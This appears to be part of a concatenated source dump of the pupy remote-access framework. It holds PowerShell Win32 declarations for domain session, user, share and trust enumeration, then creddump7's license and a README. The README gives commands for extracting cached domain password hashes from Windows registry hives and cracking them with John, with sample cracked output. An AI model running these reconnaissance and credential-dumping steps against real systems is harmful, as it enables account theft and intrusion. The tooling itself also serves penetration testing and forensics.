    (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
    (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
    (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
    (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
    (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
    (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
    (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
    (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
    (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
    (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
    (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
    (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
    (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
    (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr]))
)

# enum used by $WTS_SESSION_INFO_1 below
$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
    Active       =    0
    Connected    =    1
    ConnectQuery =    2
    Shadow       =    3
    Disconnected =    4
    Idle         =    5
    Listen       =    6
    Reset        =    7
    Down         =    8
    Init         =    9
}

# the WTSEnumerateSessionsEx result structure
$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{
    ExecEnvId = field 0 UInt32
    State = field 1 $WTSConnectState
    SessionId = field 2 UInt32
    pSessionName = field 3 String -MarshalAs @('LPWStr')
    pHostName = field 4 String -MarshalAs @('LPWStr')
    pUserName = field 5 String -MarshalAs @('LPWStr')
    pDomainName = field 6 String -MarshalAs @('LPWStr')
    pFarmName = field 7 String -MarshalAs @('LPWStr')
}

# the particular WTSQuerySessionInformation result structure
$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
    AddressFamily = field 0 UInt32
    Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
}

# the NetShareEnum result structure
$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{
    shi1_netname = field 0 String -MarshalAs @('LPWStr')
    shi1_type = field 1 UInt32
    shi1_remark = field 2 String -MarshalAs @('LPWStr')
}

# the NetWkstaUserEnum result structure
$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{
    wkui1_username = field 0 String -MarshalAs @('LPWStr')
    wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr')
    wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr')
    wkui1_logon_server = field 3 String -MarshalAs @('LPWStr')
}

# the NetSessionEnum result structure
$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{
    sesi10_cname = field 0 String -MarshalAs @('LPWStr')
    sesi10_username = field 1 String -MarshalAs @('LPWStr')
    sesi10_time = field 2 UInt32
    sesi10_idle_time = field 3 UInt32
}

# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
    SidTypeUser             = 1
    SidTypeGroup            = 2
    SidTypeDomain           = 3
    SidTypeAlias            = 4
    SidTypeWellKnownGroup   = 5
    SidTypeDeletedAccount   = 6
    SidTypeInvalid          = 7
    SidTypeUnknown          = 8
    SidTypeComputer         = 9
}

# the NetLocalGroupGetMembers result structure
$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
    lgrmi2_sid = field 0 IntPtr
    lgrmi2_sidusage = field 1 $SID_NAME_USE
    lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
}

# enums used in DS_DOMAIN_TRUSTS
$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
    IN_FOREST       = 1
    DIRECT_OUTBOUND = 2
    TREE_ROOT       = 4
    PRIMARY         = 8
    NATIVE_MODE     = 16
    DIRECT_INBOUND  = 32
} -Bitfield
$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
    DOWNLEVEL   = 1
    UPLEVEL     = 2
    MIT         = 3
    DCE         = 4
}
$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
    NON_TRANSITIVE      = 1
    UPLEVEL_ONLY        = 2
    FILTER_SIDS         = 4
    FOREST_TRANSITIVE   = 8
    CROSS_ORGANIZATION  = 16
    WITHIN_FOREST       = 32
    TREAT_AS_EXTERNAL   = 64
}

# the DsEnumerateDomainTrusts result structure
$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
    NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
    DnsDomainName = field 1 String -MarshalAs @('LPWStr')
    Flags = field 2 $DsDomainFlag
    ParentIndex = field 3 UInt32
    TrustType = field 4 $DsDomainTrustType
    TrustAttributes = field 5 $DsDomainTrustAttributes
    DomainSid = field 6 IntPtr
    DomainGuid = field 7 Guid
}

$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']


================================================
FILE: pupy/external/creddump7/.gitignore
================================================
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]

# C extensions
*.so

# Distribution / packaging
.Python
env/
build/
develop-eggs/
dist/
eggs/
lib/
lib64/
parts/
sdist/
var/
*.egg-info/
.installed.cfg
*.egg

# Installer logs
pip-log.txt
pip-delete-this-directory.txt

# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.cache
nosetests.xml
coverage.xml

# Translations
*.mo
*.pot

# Django stuff:
*.log

# Sphinx documentation
docs/_build/


================================================
FILE: pupy/external/creddump7/CHANGELOG
================================================
Version: 0.3 Date: 8/1/2012

* Fixed LM and NTLM Hash Corruption issue. Thanks to Jonathan Claudius.
  Closes Issue 3.

Version: 0.2 Date: 2/24/2011

* Fixed issue with wrong format specifier being used (L instead of I), which
  caused creddump to fail on 64-bit systems.


================================================
FILE: pupy/external/creddump7/COPYING
================================================
                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    <program>  Copyright (C) <year>  <name of author>
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.


================================================
FILE: pupy/external/creddump7/README.md
================================================
#Information
This repo is for my modifications to the original 'creddump' program available
at: 

https://code.google.com/p/creddump/

I did not write the original program. 

I have combined many patches and fixes I have seen from different forums and
user suggestions, as well as modified the usage to make it a little more clear.

I followed patches and fixes from the following links:

* https://code.google.com/p/creddump/issues/detail?id=4
* https://code.google.com/p/volatility/issues/detail?id=92

Enjoy!
Ronnie Flathers (@ropnop)


###Usage
Mount a Windows 7/Vista partition:
```
# mkdir /mnt/win
# ntfs-3g /dev/sda1 /mnt/win
```

Run cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds:
```
# ./cachedump.py
usage: ./cachedump.py <system hive> <security hive> <Vista/7>

Example (Windows Vista/7):
./cachedump.py /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true

Example (Windows XP):
./cachedump.py /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false

# ./cachedump.py /mnt/win/Windows/System32/config/SYSTEM /mnt/win/Windows/System32/config/SECURITY true |tee hashes
nharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local
god:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local
```

If you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the 'mscash2' format:
```
# john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt hashes
Loaded 2 password hashes with 2 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 8x])
g0d              (god)
Welcome1!        (nharpsis)
```

